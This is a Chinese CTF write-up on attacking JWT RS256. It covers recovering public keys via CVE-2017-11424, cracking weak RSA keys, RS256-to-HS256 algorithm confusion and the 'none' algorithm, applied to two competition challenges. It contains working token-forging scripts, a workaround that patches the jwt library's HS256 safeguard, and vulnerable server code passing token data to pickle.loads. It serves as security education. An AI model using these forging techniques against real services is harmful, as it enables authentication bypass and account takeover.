前言

上个学期打省赛的时候遇到了一道考 JWT RS256 攻击的题目,当时没有做出来(直到比赛结束这道题还是 0 解)。赛后复盘是利用 python jwt 库的 CVE-2017-11424 将加密的公钥爆破出来,然后再解出私钥,就能实现 JWT 的伪造了。本来想着这样的题目应该是比较少见的,没想到这个学期又碰见了,这回轮到我们重拳出击了!

主要思路与工具

先简要说明一下 RS256 算法,这个是利用非对称加密实现的 JWT 签名算法。主要流程是使用 RSA 算法来生成密钥对,然后使用私钥对 payload 进行签名,并使用公钥来校验。这种签名方式的好处是,用于校验的公钥可以(相对)随意分发,黑客想要伪造 token 的话必须拿到私钥,而非对称加密的数学性质使得利用公钥计算出私钥的难度很高。

看起来非常的安全,不是吗?但在某些情况还是会被攻击者抓到漏洞,使他们能够伪造 token

获取公钥

寻找常见的公钥分发手段

  1. 1.首先可以关注一些常用路由,例如 publickey.pempublickey.phppublic.key 等等,可能可以直接获取公钥
  2. 2.如果服务器使用了 jwk 来分发公钥,则可以在 jwt Header 处找到公钥信息
  3. 3.会不会有开发人员蠢到把公钥硬编码到前端呢?emmm… 好像不能排除这个可能性

利用 CVE-2017-11424 破解公钥

对于使用较旧版本 jwt 库的 python 服务,可以利用 CVE-2017-11424 来破解公钥。首先需要获取两个使用不同 payload 的 token,可以简单注册两个不同的用户来获取。然后利用工具 rsa_sign2n 尝试计算公钥

获得公钥后能进行的攻击

可以尝试篡改 Header 中的加密方式(alg 的值),将 RS256,改为 HS256。如果开发人员配置不当的话,服务器可能会将 RS256 使用的公钥作为 HS256 的密钥。此时我们利用获取的 publickey 对修改的 payload 进行签名,就有机会通过校验,达成 token 伪造的目标

获取私钥

可能的私钥泄露

  1. 1.通过各种信息搜集手段获取源码包后,可能在其中找到私钥文件或私钥的值
  2. 2.配合目录穿越等漏洞读取私钥文件

破解较弱密钥对的私钥

如果 RSA 中的 p/q 值选取不当,则会导致生成的密钥对容易被攻破。在获取有弱点的公钥后,能通过密码学手段计算出其私钥

那怎么判断拿到的公钥弱不弱呢?其实我也不太清楚,这里更多涉及到密码学的知识,如果队内有密码手的话可以请教一下,如果没有相应的知识支撑,其实我的建议是不管它到底弱不弱,先拿工具一把梭了再说

比较好用的工具有 RsaCtfTool,能通过多种算法来尝试破解 RSA

其他思路

  1. 1.有些 jwt 库支持 none 的校验模式,如果开发人员配置不当的话,可以篡改校验算法为 none,然后直接删除校验位,即可通过校验
  2. 2.当后端使用 jwk 来分发公钥时,可以尝试修改 Header 中的公钥内容,然后使用对应的私钥进行签名

题目实战

网鼎杯2024青龙组 Web01

非常幽默,赛后有知情人士表示这题就是省赛那道零解题的复刻,考点一模一样,只是优化了一下前端

随便使用某个非 admin 的账户密码即可以游客身份登录

看看 jwt token, 算法是 RS256。可以尝试爆破公钥

img

注册两个游客账户,拿到 jwt

用户 1232143264676547865

token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEyMzIxNDMyNjQ2NzY1NDc4NjUifQ.HwhFATpFTr2FCKj61GGk4_dMPzMvzMKSESUqD-vb2wS_1A91sZuw_cvP4hbXzTvHDTNe_yaOPsUm2J91gpSUQwyZ0yISXoSa3zG0CCAZswP1PsYbzqkmhuhFy2pcPkQI0CFJGJ_cP1hjgG5u0FHCIYy63aiqWv1nPaogE2vKT-c1

用户 cacsadqweqwe

token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNhY3NhZHF3ZXF3ZSJ9.F3vZFyorIbhANPCQ6ZZZrcZJEfMvm0p4JFqUTl4GelJRU5maCa_ujB4yMURJbEdCiBzrV7KC58vHag1dM9-7mF7ajSq1A5S_mv7bvOV3DHyDQ7xvqx-yzH2YYFuroqEJcVwmt3MilwZGFKeNQujc5LALsEk8mnBWsGOyyTWVkSoF

使用 rsa_sign2n 结果如下:

img

找到了几个可能的公钥

img

再用 RsaCtfTool 尝试对每个公钥文件生成对应的私钥

img

然后就可以伪造 jwt

import jwt
private_key=open('./private.pem').read()
token=jwt.encode({'username': 'admin'},private_key,algorithm='RS256')
print(token)

后续就是一些其他考点,这里不展开了

GeekChalleng2024 jwt_pickle

好好好,极客大挑战你个新生赛还放这种题目。。。巧了,我刚打完网鼎杯,这下美美拿血了

用户 qwer123

Token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6InF3ZXIxMjMiLCJwYXNzd29yZCI6IjIwMmNiOTYyYWM1OTA3NWI5NjRiMDcxNTJkMjM0YjcwIiwiaXNfYWRtaW4iOmZhbHNlfQ.RYuIsJSx_IjTPkLVFV5E59r-rr9nyfThe-fPLQvBWCEPqeWmEwC3FsqW6qQz6XMZU6pQufP_Hl8PehBErvm6bj1aW-aEaTEB4skeNcoARcsyIpZaRDKDRRAnIVHGDp5-NmQsywIGCazSYO0uoHNLJdmeKUm93PNYHH7p2JvXsCvNovlKpBy7doWUTK8wTSGuhJBxXRLvmrjlZPMIk4TM4bDcJ1hCIY9OBbdawgkEAsMf_Fxj-UBFnUiiA4p4Jfk04DYhZLe9f6Hrs70UhTSJG4J9n7Hi5IcUxqUDfPGNG1oIJGFeibsSoQfJ1LOkcZDyZ3tNoEYO-FXqolO0Nblo0Q

用户 caterpie666

Token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6ImNhdGVycGllNjY2IiwicGFzc3dvcmQiOiJmYWUwYjI3YzQ1MWM3Mjg4NjdhNTY3ZThjMWJiNGU1MyIsImlzX2FkbWluIjpmYWxzZX0.auWqVDwF07qLFchIANFLhKW-393e_2uDRBDhvwB6_O2gBpjqlF7mMC3Yl_jWddYhTTZuVuX24jqFnMG3kqBrKAgRYtjhHGzPqwYY1mNqAFOBfkzNtaqbjhTYhNLg76wNySEYOwfR0FIxfjU3OPRZ25ptGslTrDqgS4Qf6dmEfHw-ytIW-H_xqs_YkE0poSn9CdY8TpRmIAzUXlRvaTFx4E5i492f5g0reXBCnbQp8DRZV2lKRp08UZHAV_hdi_ZCHlVju7oKDWK2_6ipakaQaJP2y3iQSI56BK2CFgaMkVEuverDzUZElREOeYA5PAbVluiY17RzCmeIbxe4WpLEuw

首先用 rsa_sign2n 破解公钥

img

img

然后尝试破解私钥,结果以失败告终。但是查看附件给的源码,发现 /admin 路由验证 token 时使用了 HS256

那就考虑修改加密方式为 HS256,并使用公钥作为 HS256 的密钥来签名,以此伪造 jwt

@app.route("/admin",methods=["GET"])
def admin():
    token=request.headers.get("Cookie")[6:]
    print(token)
    if token ==None:
        redirect("login")
    try:
        real= jwt.decode(token, publicKey, algorithms=['HS256', 'RS256'])
    except Exception as e:
        print(e)
        return "error"
    username = real["username"]
    password = real["password"]
    is_admin = real["is_admin"]
    if password != hashlib.md5(user_list[username].encode()).hexdigest():
        return "Hacker!"

    if is_admin:
        serial_S = base64.b64decode(real["introduction"])
        introduction=pickle.loads(serial_S)
        return f"Welcome!!!,{username},introduction: {introduction}"
    else:
        return f"{username},you don't have enough permission in here"

用 rsa_sign2n 求解出来的可能的公钥还是挺多的,直接写一个脚本来批量生成伪造的 jwt

from pathlib import Path
import jwt
import pickle
import base64

path = Path('.')
for file in path.glob('*.pem'):
    with open(file.name, 'rb') as key:
        token=jwt.encode(
            payload={
                "username": "caterpie666",
                "password": "fae0b27c451c728867a567e8c1bb4e53",
                "is_admin": True,
                "introduction": base64.b64encode(pickle.dumps("test message")).decode()
            },
            key=key.read(),
            algorithm='HS256'
        )
        print(token)
        print("---")

出现下面的错误是正常的,因为新版的 jwt 库不再允许使用 pem 格式的公钥来做 HS256 的密钥了

img

只需要注释掉源码中抛出错误的部分即可

img

然后运行脚本批量生成伪造的 jwt

img

接下来就可以逐个尝试,看哪个能成功通过校验

img

之后就是打 pickle 反序列化 getshell,不再展开